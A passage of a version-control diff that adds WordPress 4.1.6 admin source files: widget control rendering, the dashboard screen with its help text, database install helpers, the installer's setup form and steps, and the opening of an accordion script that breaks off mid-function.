+function wp_list_widget_controls_dynamic_sidebar( $params ) {
+	global $wp_registered_widgets;
+	static $i = 0;
+	$i++;
+
+	$widget_id = $params[0]['widget_id'];
+	$id = isset($params[0]['_temp_id']) ? $params[0]['_temp_id'] : $widget_id;
+	$hidden = isset($params[0]['_hide']) ? ' style="display:none;"' : '';
+
+	$params[0]['before_widget'] = "<div id='widget-{$i}_{$id}' class='widget'$hidden>";
+	$params[0]['after_widget'] = "</div>";
+	$params[0]['before_title'] = "%BEG_OF_TITLE%"; // deprecated
+	$params[0]['after_title'] = "%END_OF_TITLE%"; // deprecated
+	if ( is_callable( $wp_registered_widgets[$widget_id]['callback'] ) ) {
+		$wp_registered_widgets[$widget_id]['_callback'] = $wp_registered_widgets[$widget_id]['callback'];
+		$wp_registered_widgets[$widget_id]['callback'] = 'wp_widget_control';
+	}
+
+	return $params;
+}
+
+function next_widget_id_number($id_base) {
+	global $wp_registered_widgets;
+	$number = 1;
+
+	foreach ( $wp_registered_widgets as $widget_id => $widget ) {
+		if ( preg_match( '/' . $id_base . '-([0-9]+)$/', $widget_id, $matches ) )
+			$number = max($number, $matches[1]);
+	}
+	$number++;
+
+	return $number;
+}
+
+/**
+ * Meta widget used to display the control form for a widget.
+ *
+ * Called from dynamic_sidebar().
+ *
+ * @since 2.5.0
+ *
+ * @param array $sidebar_args
+ * @return array
+ */
+function wp_widget_control( $sidebar_args ) {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets;
+
+	$widget_id = $sidebar_args['widget_id'];
+	$sidebar_id = isset($sidebar_args['id']) ? $sidebar_args['id'] : false;
+	$key = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[$sidebar_id] ) : '-1'; // position of widget in sidebar
+	$control = isset($wp_registered_widget_controls[$widget_id]) ? $wp_registered_widget_controls[$widget_id] : array();
+	$widget = $wp_registered_widgets[$widget_id];
+
+	$id_format = $widget['id'];
+	$widget_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : '';
+	$id_base = isset($control['id_base']) ? $control['id_base'] : $widget_id;
+	$multi_number = isset($sidebar_args['_multi_num']) ? $sidebar_args['_multi_num'] : '';
+	$add_new = isset($sidebar_args['_add']) ? $sidebar_args['_add'] : '';
+
+	$query_arg = array( 'editwidget' => $widget['id'] );
+	if ( $add_new ) {
+		$query_arg['addnew'] = 1;
+		if ( $multi_number ) {
+			$query_arg['num'] = $multi_number;
+			$query_arg['base'] = $id_base;
+		}
+	} else {
+		$query_arg['sidebar'] = $sidebar_id;
+		$query_arg['key'] = $key;
+	}
+
+	/*
+	 * We aren't showing a widget control, we're outputting a template
+	 * for a multi-widget control.
+	 */
+	if ( isset($sidebar_args['_display']) && 'template' == $sidebar_args['_display'] && $widget_number ) {
+		// number == -1 implies a template where id numbers are replaced by a generic '__i__'
+		$control['params'][0]['number'] = -1;
+		// With id_base widget id's are constructed like {$id_base}-{$id_number}.
+		if ( isset($control['id_base']) )
+			$id_format = $control['id_base'] . '-__i__';
+	}
+
+	$wp_registered_widgets[$widget_id]['callback'] = $wp_registered_widgets[$widget_id]['_callback'];
+	unset($wp_registered_widgets[$widget_id]['_callback']);
+
+	$widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) );
+	$has_form = 'noform';
+
+	echo $sidebar_args['before_widget']; ?>
+	<div class="widget-top">
+	<div class="widget-title-action">
+		<a class="widget-action hide-if-no-js" href="#available-widgets"></a>
+		<a class="widget-control-edit hide-if-js" href="<?php echo esc_url( add_query_arg( $query_arg ) ); ?>">
+			<span class="edit"><?php _ex( 'Edit', 'widget' ); ?></span>
+			<span class="add"><?php _ex( 'Add', 'widget' ); ?></span>
+			<span class="screen-reader-text"><?php echo $widget_title; ?></span>
+		</a>
+	</div>
+	<div class="widget-title"><h4><?php echo $widget_title ?><span class="in-widget-title"></span></h4></div>
+	</div>
+
+	<div class="widget-inside">
+	<form action="" method="post">
+	<div class="widget-content">
+<?php
+	if ( isset($control['callback']) )
+		$has_form = call_user_func_array( $control['callback'], $control['params'] );
+	else
+		echo "\t\t<p>" . __('There are no options for this widget.') . "</p>\n"; ?>
+	</div>
+	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr($id_format); ?>" />
+	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr($id_base); ?>" />
+	<input type="hidden" name="widget-width" class="widget-width" value="<?php if (isset( $control['width'] )) echo esc_attr($control['width']); ?>" />
+	<input type="hidden" name="widget-height" class="widget-height" value="<?php if (isset( $control['height'] )) echo esc_attr($control['height']); ?>" />
+	<input type="hidden" name="widget_number" class="widget_number" value="<?php echo esc_attr($widget_number); ?>" />
+	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr($multi_number); ?>" />
+	<input type="hidden" name="add_new" class="add_new" value="<?php echo esc_attr($add_new); ?>" />
+
+	<div class="widget-control-actions">
+		<div class="alignleft">
+		<a class="widget-control-remove" href="#remove"><?php _e('Delete'); ?></a> |
+		<a class="widget-control-close" href="#close"><?php _e('Close'); ?></a>
+		</div>
+		<div class="alignright<?php if ( 'noform' === $has_form ) echo ' widget-control-noform'; ?>">
+			<?php submit_button( __( 'Save' ), 'button-primary widget-control-save right', 'savewidget', false, array( 'id' => 'widget-' . esc_attr( $id_format ) . '-savewidget' ) ); ?>
+			<span class="spinner"></span>
+		</div>
+		<br class="clear" />
+	</div>
+	</form>
+	</div>
+
+	<div class="widget-description">
+<?php echo ( $widget_description = wp_widget_description($widget_id) ) ? "$widget_description\n" : "$widget_title\n"; ?>
+	</div>
+<?php
+	echo $sidebar_args['after_widget'];
+
+	return $sidebar_args;
+}
Index: /tags/4.1.6/src/wp-admin/index.php
===================================================================
--- /tags/4.1.6/src/wp-admin/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/index.php	(revision 33402)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * Dashboard Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** Load WordPress dashboard API */
+require_once(ABSPATH . 'wp-admin/includes/dashboard.php');
+
+wp_dashboard_setup();
+
+wp_enqueue_script( 'dashboard' );
+if ( current_user_can( 'edit_theme_options' ) )
+	wp_enqueue_script( 'customize-loader' );
+if ( current_user_can( 'install_plugins' ) )
+	wp_enqueue_script( 'plugin-install' );
+if ( current_user_can( 'upload_files' ) )
+	wp_enqueue_script( 'media-upload' );
+add_thickbox();
+
+if ( wp_is_mobile() )
+	wp_enqueue_script( 'jquery-touch-punch' );
+
+$title = __('Dashboard');
+$parent_file = 'index.php';
+
+$help = '<p>' . __( 'Welcome to your WordPress Dashboard! This is the screen you will see when you log in to your site, and gives you access to all the site management features of WordPress. You can get help for any screen by clicking the Help tab in the upper corner.' ) . '</p>';
+
+// Not using chaining here, so as to be parseable by PHP4.
+$screen = get_current_screen();
+
+$screen->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __( 'Overview' ),
+	'content' => $help,
+) );
+
+// Help tabs
+
+$help  = '<p>' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '</p>';
+$help .= '<p>' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '</p>';
+
+$screen->add_help_tab( array(
+	'id'      => 'help-navigation',
+	'title'   => __( 'Navigation' ),
+	'content' => $help,
+) );
+
+$help  = '<p>' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '</p>';
+$help .= '<p>' . __( '<strong>Screen Options</strong> - Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '</p>';
+$help .= '<p>' . __( '<strong>Drag and Drop</strong> - To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '</p>';
+$help .= '<p>' . __( '<strong>Box Controls</strong> - Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a &#8220;Configure&#8221; link in the title bar if you hover over it.' ) . '</p>';
+
+$screen->add_help_tab( array(
+	'id'      => 'help-layout',
+	'title'   => __( 'Layout' ),
+	'content' => $help,
+) );
+
+$help  = '<p>' . __( 'The boxes on your Dashboard screen are:' ) . '</p>';
+if ( current_user_can( 'edit_posts' ) )
+	$help .= '<p>' . __( '<strong>At A Glance</strong> - Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '</p>';
+	$help .= '<p>' . __( '<strong>Activity</strong> - Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '</p>';
+if ( is_blog_admin() && current_user_can( 'edit_posts' ) )
+	$help .= '<p>' . __( "<strong>Quick Draft</strong> - Allows you to create a new post and save it as a draft. Also displays links to the 5 most recent draft posts you've started." ) . '</p>';
+if ( ! is_multisite() && current_user_can( 'install_plugins' ) )
+	$help .= '<p>' . __( '<strong>WordPress News</strong> - Latest news from the official WordPress project, the <a href="https://planet.wordpress.org/">WordPress Planet</a>, and popular and recent plugins.' ) . '</p>';
+else
+	$help .= '<p>' . __( '<strong>WordPress News</strong> - Latest news from the official WordPress project, the <a href="https://planet.wordpress.org/">WordPress Planet</a>.' ) . '</p>';
+if ( current_user_can( 'edit_theme_options' ) )
+	$help .= '<p>' . __( '<strong>Welcome</strong> - Shows links for some of the most common tasks when setting up a new site.' ) . '</p>';
+
+$screen->add_help_tab( array(
+	'id'      => 'help-content',
+	'title'   => __( 'Content' ),
+	'content' => $help,
+) );
+
+unset( $help );
+
+$screen->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Dashboard_Screen" target="_blank">Documentation on Dashboard</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+	<h2><?php echo esc_html( $title ); ?></h2>
+
+<?php if ( has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) :
+	$classes = 'welcome-panel';
+
+	$option = get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
+	// 0 = hide, 1 = toggled to show or single site creator, 2 = multisite site owner
+	$hide = 0 == $option || ( 2 == $option && wp_get_current_user()->user_email != get_option( 'admin_email' ) );
+	if ( $hide )
+		$classes .= ' hidden'; ?>
+
+	<div id="welcome-panel" class="<?php echo esc_attr( $classes ); ?>">
+		<?php wp_nonce_field( 'welcome-panel-nonce', 'welcomepanelnonce', false ); ?>
+		<a class="welcome-panel-close" href="<?php echo esc_url( admin_url( '?welcome=0' ) ); ?>"><?php _e( 'Dismiss' ); ?></a>
+		<?php
+		/**
+		 * Add content to the welcome panel on the admin dashboard.
+		 *
+		 * To remove the default welcome panel, use {@see remove_action()}:
+		 *
+		 *     remove_action( 'welcome_panel', 'wp_welcome_panel' );
+		 *
+		 * @since 3.5.0
+		 */
+		do_action( 'welcome_panel' );
+		?>
+	</div>
+<?php endif; ?>
+
+	<div id="dashboard-widgets-wrap">
+	<?php wp_dashboard(); ?>
+	</div><!-- dashboard-widgets-wrap -->
+
+</div><!-- wrap -->
+
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/install-helper.php
===================================================================
--- /tags/4.1.6/src/wp-admin/install-helper.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/install-helper.php	(revision 33402)
@@ -0,0 +1,198 @@
+<?php
+/**
+ * Plugins may load this file to gain access to special helper functions for
+ * plugin installation. This file is not included by WordPress and it is
+ * recommended, to prevent fatal errors, that this file is included using
+ * require_once().
+ *
+ * These functions are not optimized for speed, but they should only be used
+ * once in a while, so speed shouldn't be a concern. If it is and you are
+ * needing to use these functions a lot, you might experience time outs. If you
+ * do, then it is advised to just write the SQL code yourself.
+ *
+ *     check_column( 'wp_links', 'link_description', 'mediumtext' );
+ *     if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
+ *         echo "ok\n";
+ *     }
+ *
+ *     $error_count = 0;
+ *     $tablename = $wpdb->links;
+ *     // Check the column.
+ *     if ( ! check_column($wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
+ *         $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
+ *         $q = $wpdb->query( $ddl );
+ *     }
+ *
+ *     if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
+ *         $res .= $tablename . ' - ok <br />';
+ *     } else {
+ *         $res .= 'There was a problem with ' . $tablename . '<br />';
+ *         ++$error_count;
+ *     }
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ */
+
+/** Load WordPress Bootstrap */
+require_once(dirname(dirname(__FILE__)).'/wp-load.php');
+
+if ( ! function_exists('maybe_create_table') ) :
+/**
+ * Create database table, if it doesn't already exist.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $table_name Database table name.
+ * @param string $create_ddl Create database table SQL.
+ * @return bool False on error, true if already exists or success.
+ */
+function maybe_create_table($table_name, $create_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) {
+		if ($table == $table_name) {
+			return true;
+		}
+	}
+	// Didn't find it, so try to create it.
+	$wpdb->query($create_ddl);
+
+	// We cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) {
+		if ($table == $table_name) {
+			return true;
+		}
+	}
+	return false;
+}
+endif;
+
+if ( ! function_exists('maybe_add_column') ) :
+/**
+ * Add column to database table, if column doesn't already exist in table.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $table_name Database table name
+ * @param string $column_name Table column name
+ * @param string $create_ddl SQL to add column to table.
+ * @return bool False on failure. True, if already exists or was successful.
+ */
+function maybe_add_column($table_name, $column_name, $create_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+
+	// Didn't find it, so try to create it.
+	$wpdb->query($create_ddl);
+
+	// We cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+	return false;
+}
+endif;
+
+/**
+ * Drop column from database table, if it exists.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $table_name Table name
+ * @param string $column_name Column name
+ * @param string $drop_ddl SQL statement to drop column.
+ * @return bool False on failure, true on success or doesn't exist.
+ */
+function maybe_drop_column($table_name, $column_name, $drop_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+		if ($column == $column_name) {
+
+			// Found it, so try to drop it.
+			$wpdb->query($drop_ddl);
+
+			// We cannot directly tell that whether this succeeded!
+			foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+				if ($column == $column_name) {
+					return false;
+				}
+			}
+		}
+	}
+	// Else didn't find it.
+	return true;
+}
+
+/**
+ * Check column matches criteria.
+ *
+ * Uses the SQL DESC for retrieving the table info for the column. It will help
+ * understand the parameters, if you do more research on what column information
+ * is returned by the SQL statement. Pass in null to skip checking that
+ * criteria.
+ *
+ * Column names returned from DESC table are case sensitive and are listed:
+ *      Field
+ *      Type
+ *      Null
+ *      Key
+ *      Default
+ *      Extra
+ *
+ * @since 1.0.0
+ *
+ * @param string $table_name Table name
+ * @param string $col_name Column name
+ * @param string $col_type Column type
+ * @param bool $is_null Optional. Check is null.
+ * @param mixed $key Optional. Key info.
+ * @param mixed $default Optional. Default value.
+ * @param mixed $extra Optional. Extra value.
+ * @return bool True, if matches. False, if not matching.
+ */
+function check_column($table_name, $col_name, $col_type, $is_null = null, $key = null, $default = null, $extra = null) {
+	global $wpdb;
+	$diffs = 0;
+	$results = $wpdb->get_results("DESC $table_name");
+
+	foreach ($results as $row ) {
+
+		if ($row->Field == $col_name) {
+
+			// Got our column, check the params.
+			if (($col_type != null) && ($row->Type != $col_type)) {
+				++$diffs;
+			}
+			if (($is_null != null) && ($row->Null != $is_null)) {
+				++$diffs;
+			}
+			if (($key != null) && ($row->Key  != $key)) {
+				++$diffs;
+			}
+			if (($default != null) && ($row->Default != $default)) {
+				++$diffs;
+			}
+			if (($extra != null) && ($row->Extra != $extra)) {
+				++$diffs;
+			}
+			if ($diffs > 0) {
+				return false;
+			}
+			return true;
+		} // end if found our column
+	}
+	return false;
+}
Index: /tags/4.1.6/src/wp-admin/install.php
===================================================================
--- /tags/4.1.6/src/wp-admin/install.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/install.php	(revision 33402)
@@ -0,0 +1,305 @@
+<?php
+/**
+ * WordPress Installer
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// Sanity check.
+if ( false ) {
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title>Error: PHP is not running</title>
+</head>
+<body class="wp-core-ui">
+	<h1 id="logo"><a href="https://wordpress.org/">WordPress</a></h1>
+	<h2>Error: PHP is not running</h2>
+	<p>WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.</p>
+</body>
+</html>
+<?php
+}
+
+/**
+ * We are installing WordPress.
+ *
+ * @since 1.5.1
+ * @var bool
+ */
+define( 'WP_INSTALLING', true );
+
+/** Load WordPress Bootstrap */
+require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+/** Load WordPress Administration Upgrade API */
+require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+/** Load WordPress Translation Install API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+/** Load wpdb */
+require_once( ABSPATH . WPINC . '/wp-db.php' );
+
+nocache_headers();
+
+$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0;
+
+/**
+ * Display install header.
+ *
+ * @since 2.5.0
+ */
+function display_header( $body_classes = '' ) {
+	header( 'Content-Type: text/html; charset=utf-8' );
+	if ( is_rtl() ) {
+		$body_classes .= 'rtl';
+	}
+	if ( $body_classes ) {
+		$body_classes = ' ' . $body_classes;
+	}
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title><?php _e( 'WordPress &rsaquo; Installation' ); ?></title>
+	<?php
+	wp_admin_css( 'install', true );
+	?>
+</head>
+<body class="wp-core-ui<?php echo $body_classes ?>">
+<h1 id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></h1>
+
+<?php
+} // end display_header()
+
+/**
+ * Display installer setup form.
+ *
+ * @since 2.8.0
+ */
+function display_setup_form( $error = null ) {
+	global $wpdb;
+
+	$sql = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->users ) );
+	$user_table = ( $wpdb->get_var( $sql ) != null );
+
+	// Ensure that Blogs appear in search engines by default.
+	$blog_public = 1;
+	if ( isset( $_POST['weblog_title'] ) ) {
+		$blog_public = isset( $_POST['blog_public'] );
+	}
+
+	$weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
+	$user_name = isset($_POST['user_name']) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
+	$admin_email  = isset( $_POST['admin_email']  ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : '';
+
+	if ( ! is_null( $error ) ) {
+?>
+<p class="message"><?php echo $error; ?></p>
+<?php } ?>
+<form id="setup" method="post" action="install.php?step=2" novalidate="novalidate">
+	<table class="form-table">
+		<tr>
+			<th scope="row"><label for="weblog_title"><?php _e( 'Site Title' ); ?></label></th>
+			<td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo esc_attr( $weblog_title ); ?>" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="user_login"><?php _e('Username'); ?></label></th>
+			<td>
+			<?php
+			if ( $user_table ) {
+				_e('User(s) already exists.');
+				echo '<input name="user_name" type="hidden" value="admin" />';
+			} else {
+				?><input name="user_name" type="text" id="user_login" size="25" value="<?php echo esc_attr( sanitize_user( $user_name, true ) ); ?>" />
+				<p><?php _e( 'Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.' ); ?></p>
+			<?php
+			} ?>
+			</td>
+		</tr>
+		<?php if ( ! $user_table ) : ?>
+		<tr>
+			<th scope="row">
+				<label for="pass1"><?php _e('Password, twice'); ?></label>
+				<p><?php _e('A password will be automatically generated for you if you leave this blank.'); ?></p>
+			</th>
+			<td>
+				<input name="admin_password" type="password" id="pass1" size="25" value="" />
+				<p><input name="admin_password2" type="password" id="pass2" size="25" value="" /></p>
+				<div id="pass-strength-result"><?php _e('Strength indicator'); ?></div>
+				<p><?php echo wp_get_password_hint(); ?></p>
+			</td>
+		</tr>
+		<?php endif; ?>
+		<tr>
+			<th scope="row"><label for="admin_email"><?php _e( 'Your E-mail' ); ?></label></th>
+			<td><input name="admin_email" type="email" id="admin_email" size="25" value="<?php echo esc_attr( $admin_email ); ?>" />
+			<p><?php _e( 'Double-check your email address before continuing.' ); ?></p></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="blog_public"><?php _e( 'Privacy' ); ?></label></th>
+			<td colspan="2"><label><input type="checkbox" name="blog_public" id="blog_public" value="1" <?php checked( $blog_public ); ?> /> <?php _e( 'Allow search engines to index this site.' ); ?></label></td>
+		</tr>
+	</table>
+	<p class="step"><input type="submit" name="Submit" value="<?php esc_attr_e( 'Install WordPress' ); ?>" class="button button-large" /></p>
+	<input type="hidden" name="language" value="<?php echo isset( $_REQUEST['language'] ) ? esc_attr( $_REQUEST['language'] ) : ''; ?>" />
+</form>
+<?php
+} // end display_setup_form()
+
+// Let's check to make sure WP isn't already installed.
+if ( is_blog_installed() ) {
+	display_header();
+	die( '<h1>' . __( 'Already Installed' ) . '</h1><p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p><p class="step"><a href="../wp-login.php" class="button button-large">' . __( 'Log In' ) . '</a></p></body></html>' );
+}
+
+$php_version    = phpversion();
+$mysql_version  = $wpdb->db_version();
+$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
+$mysql_compat   = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' );
+
+if ( !$mysql_compat && !$php_compat )
+	$compat = sprintf( __( 'You cannot install because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.' ), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version );
+elseif ( !$php_compat )
+	$compat = sprintf( __( 'You cannot install because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.' ), $wp_version, $required_php_version, $php_version );
+elseif ( !$mysql_compat )
+	$compat = sprintf( __( 'You cannot install because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.' ), $wp_version, $required_mysql_version, $mysql_version );
+
+if ( !$mysql_compat || !$php_compat ) {
+	display_header();
+	die( '<h1>' . __( 'Insufficient Requirements' ) . '</h1><p>' . $compat . '</p></body></html>' );
+}
+
+if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) {
+	display_header();
+	die( '<h1>' . __( 'Configuration Error' ) . '</h1><p>' . __( 'Your <code>wp-config.php</code> file has an empty database table prefix, which is not supported.' ) . '</p></body></html>' );
+}
+
+$language = '';
+if ( ! empty( $_REQUEST['language'] ) ) {
+	$language = preg_replace( '/[^a-zA-Z_]/', '', $_REQUEST['language'] );
+} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
+	$language = $GLOBALS['wp_local_package'];
+}
+
+switch($step) {
+	case 0: // Step 0
+
+		if ( wp_can_install_language_pack() && empty( $language ) && ( $languages = wp_get_available_translations() ) ) {
+			display_header( 'language-chooser' );
+			echo '<form id="setup" method="post" action="?step=1">';
+			wp_install_language_form( $languages );
+			echo '</form>';
+			break;
+		}
+
+		// Deliberately fall through if we can't reach the translations API.
+
+	case 1: // Step 1, direct link or from language chooser.
+		if ( ! empty( $language ) ) {
+			$loaded_language = wp_download_language_pack( $language );
+			if ( $loaded_language ) {
+				load_default_textdomain( $loaded_language );
+				$GLOBALS['wp_locale'] = new WP_Locale();
+			}
+		}
+
+		display_header();
+?>
+<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
+<p><?php _e( 'Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world.' ); ?></p>
+
+<h1><?php _e( 'Information needed' ); ?></h1>
+<p><?php _e( 'Please provide the following information. Don&#8217;t worry, you can always change these settings later.' ); ?></p>
+
+<?php
+		display_setup_form();
+		break;
+	case 2:
+		if ( ! empty( $language ) && load_default_textdomain( $language ) ) {
+			$loaded_language = $language;
+			$GLOBALS['wp_locale'] = new WP_Locale();
+		} else {
+			$loaded_language = 'en_US';
+		}
+
+		if ( ! empty( $wpdb->error ) )
+			wp_die( $wpdb->error->get_error_message() );
+
+		display_header();
+		// Fill in the data we gathered
+		$weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
+		$user_name = isset($_POST['user_name']) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
+		$admin_password = isset($_POST['admin_password']) ? wp_unslash( $_POST['admin_password'] ) : '';
+		$admin_password_check = isset($_POST['admin_password2']) ? wp_unslash( $_POST['admin_password2'] ) : '';
+		$admin_email  = isset( $_POST['admin_email'] ) ?trim( wp_unslash( $_POST['admin_email'] ) ) : '';
+		$public       = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 0;
+
+		// Check e-mail address.
+		$error = false;
+		if ( empty( $user_name ) ) {
+			// TODO: poka-yoke
+			display_setup_form( __( 'Please provide a valid username.' ) );
+			$error = true;
+		} elseif ( $user_name != sanitize_user( $user_name, true ) ) {
+			display_setup_form( __( 'The username you provided has invalid characters.' ) );
+			$error = true;
+		} elseif ( $admin_password != $admin_password_check ) {
+			// TODO: poka-yoke
+			display_setup_form( __( 'Your passwords do not match. Please try again.' ) );
+			$error = true;
+		} else if ( empty( $admin_email ) ) {
+			// TODO: poka-yoke
+			display_setup_form( __( 'You must provide an email address.' ) );
+			$error = true;
+		} elseif ( ! is_email( $admin_email ) ) {
+			// TODO: poka-yoke
+			display_setup_form( __( 'Sorry, that isn&#8217;t a valid email address. Email addresses look like <code>username@example.com</code>.' ) );
+			$error = true;
+		}
+
+		if ( $error === false ) {
+			$wpdb->show_errors();
+			$result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language );
+?>
+
+<h1><?php _e( 'Success!' ); ?></h1>
+
+<p><?php _e( 'WordPress has been installed. Were you expecting more steps? Sorry to disappoint.' ); ?></p>
+
+<table class="form-table install-success">
+	<tr>
+		<th><?php _e( 'Username' ); ?></th>
+		<td><?php echo esc_html( sanitize_user( $user_name, true ) ); ?></td>
+	</tr>
+	<tr>
+		<th><?php _e( 'Password' ); ?></th>
+		<td><?php
+		if ( ! empty( $result['password'] ) && empty( $admin_password_check ) ): ?>
+			<code><?php echo esc_html( $result['password'] ) ?></code><br />
+		<?php endif ?>
+			<p><?php echo $result['password_message'] ?></p>
+		</td>
+	</tr>
+</table>
+
+<p class="step"><a href="../wp-login.php" class="button button-large"><?php _e( 'Log In' ); ?></a></p>
+
+<?php
+		}
+		break;
+}
+if ( !wp_is_mobile() ) {
+?>
+<script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script>
+<?php } ?>
+<?php wp_print_scripts( 'user-profile' ); ?>
+<?php wp_print_scripts( 'language-chooser' ); ?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-admin/js/accordion.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/accordion.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/accordion.js	(revision 33402)
@@ -0,0 +1,75 @@
+/**
+ * Accordion-folding functionality.
+ *
+ * Markup with the appropriate classes will be automatically hidden,
+ * with one section opening at a time when its title is clicked.
+ * Use the following markup structure for accordion behavior:
+ *
+ * <div class="accordion-container">
+ *	<div class="accordion-section open">
+ *		<h3 class="accordion-section-title"></h3>
+ *		<div class="accordion-section-content">
+ *		</div>
+ *	</div>
+ *	<div class="accordion-section">
+ *		<h3 class="accordion-section-title"></h3>
+ *		<div class="accordion-section-content">
+ *		</div>
+ *	</div>
+ *	<div class="accordion-section">
+ *		<h3 class="accordion-section-title"></h3>
+ *		<div class="accordion-section-content">
+ *		</div>
+ *	</div>
+ * </div>
+ *
+ * Note that any appropriate tags may be used, as long as the above classes are present.
+ *
+ * @since 3.6.0.
+ */
+
+( function( $ ){
+
+	$( document ).ready( function () {
+
+		// Expand/Collapse accordion sections on click.
+		$( '.accordion-container' ).on( 'click keydown', '.accordion-section-title', function( e ) {
